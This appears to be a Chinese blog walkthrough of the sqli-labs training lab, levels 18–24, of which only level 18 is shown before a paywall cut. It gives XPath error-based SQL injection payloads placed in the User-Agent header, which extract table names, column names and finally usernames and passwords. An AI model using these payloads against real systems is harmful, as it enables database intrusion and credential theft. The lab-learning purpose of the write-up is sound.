【渗透测试】sqli-labs闯关(18-24)

通地塔

已于 2022-07-27 15:02:36 修改

阅读量993

点赞数 1

分类专栏：渗透测试文章标签：安全安全漏洞 sql

于 2020-08-22 17:12:01 首次发布

本文链接：https://blog.youkuaiyun.com/qq_43168364/article/details/105673327

版权

本文详细介绍了sqli-labs的第18至24关，涵盖user-agent、referer、cookie等不同场景下的SQL注入攻击。通过Xpath报错注入和base64编码等技巧，展示了闭合单引号、双引号以及二次注入等方法，深入理解SQL注入原理。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

第十八关：user-agent单引号字符型注入点

方法：在user-agent上进行xpath报错注入
在这里插入图片描述
这一关我们输入用户名和密码之后给我们回显除了user-agent的信息，我们猜想注入应当是发生在user-agent上的。我们首先看看源代码。

果然这里把user-agent插入了数据库，我们只需要闭合$uagent前后的单引号然后写上注入语句即可。我们首先得到表名，语法：' and extractvalue(1,concat("^",(select group_concat(table_name) from information_schema.tables where database()=table_schema),"^")) and '。
在这里插入图片描述
接下来我们得到字段名，语法： ' and extractvalue(1,concat("^",(select group_concat(column_name) from information_schema.columns where database()=table_schema and table_name="users"),"^")) and '。

最后得到数据，语法：' and extractvalue(1,concat("^",(select group_concat(username,"^",password) from users),"^")) and '。
在这里插入图片描述 <

最低0.47元/天解锁文章